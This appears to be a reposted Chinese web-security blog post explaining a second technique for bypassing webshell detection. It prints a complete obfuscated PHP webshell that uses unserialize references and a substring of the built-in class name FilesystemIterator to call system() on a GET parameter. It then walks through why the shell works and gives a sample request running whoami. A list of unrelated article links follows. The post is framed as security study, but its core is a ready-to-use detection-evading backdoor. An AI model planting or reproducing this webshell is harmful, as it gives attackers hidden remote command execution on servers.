当前位置: 首页 > news >正文

WEB安全--RCE--webshell bypass2

继WEB安全--RCE--webshell bypass的补充:

六、PHP反序列化

webshell:

<?php
$s= 
unserialize('a:2:{i:0;O:8:"stdClass":1:{s:1:"a";i:1;}i:1;r:2;}');
$c = "123";
$arr= get_declared_classes();
$i=0;for($i;$i<count($arr);$i++){$i++;$s[1]->a=$_GET['a'];if($i<97 || $i>=98){continue;}$c=$s[0]->a;print(substr(get_declared_classes()[55],4,6)($c));
}
?>

原理:

打印$s:

可以看到$s反序列化后有两个值,但是源码中似乎只有一个stdClass;原因是[0]是由[1]引用复制后的值,可以理解为[1]的变化会导致[0]的变化

打印$arr:

基于上述两个打印值对源码进行分析,我们不难得出其原理:

一开始$c = "123",进入for循环;

$s[1]->a = $_GET['a']一直在接收我们的传参,不过由于if判断,当$i = 97时才会进入下一步;

此时$s[1]->a的值是我们URL传递的参数,而$c = $s[0]->a,且$s[1]->a 的值会同步影响$s[0]->a,所以$c =  $_GET['a'];

get_declared_classes()[55]对应的是FilesystemIterator,通过截取取出system;

最后 print(substr(get_declared_classes()[55],4,6)($c)) 就会变成:

print(system($_GET['a']))

payload:

http://127.0.0.1/rce/bypass.php?a=whoami

http://www.dtcms.com/a/185735.html

相关文章:

  • Dagster Pipes系列-2:增强外部脚本与Dagster的交互能力
  • 【Python】Python常用数据类型判断方法详解
  • Node.js中那些常用的进程通信方式
  • 4.MySQL全量、增量备份与恢复
  • 使用本地部署的 LLaMA 3 模型进行中文对话生成
  • 【WPF】Opacity 属性的使用
  • uniapp|实现手机通讯录、首字母快捷导航功能、多端兼容(H5、微信小程序、APP)
  • WebSocket的原理及QT示例
  • MIT XV6 - 1.6 Lab: Xv6 and Unix utilities -uptime
  • 内存泄漏系列专题分析之十一:高通相机CamX ION/dmabuf内存管理机制Camx ImageBuffer原理
  • 新手安装java所有工具(jdk、idea,Maven,数据库)
  • 迁移 Visual Studio Code 设置和扩展到 VSCodium
  • FFmpeg 与 C++ 构建音视频处理全链路实战(一)—— 环境配置与视频解封装
  • Linux异步通知机制详解
  • 存算一体芯片对传统GPU架构的挑战:在GNN训练中的颠覆性实验
  • labview硬件采集
  • AD22 快速定义PCB板框与DXF导入定义
  • MFC listctrl修改背景颜色
  • 项目全栈实战-基于智能体、工作流、API模块化Docker集成的创业分析平台
  • Spark SQL 运行架构详解(专业解释+番茄炒蛋例子解读)
  • 主从架构:技术原理与实现
  • Excel分组计算求和的两种实现方案
  • 运行Spark程序-在Idea中(二)
  • Window、CentOs、Ubuntu 安装 docker
  • 打破GPU显存墙:FlashAttention-2算法在LLM训练中的极致优化实践
  • 【HarmonyOS 5】鸿蒙碰一碰分享功能开发指南
  • 分词器工作流程和Ik分词器详解
  • Python邮件处理(使用imaplib和email库实现自动化邮件处理)
  • 【Linux】socket网络编程之TCP
  • DDD领域驱动开发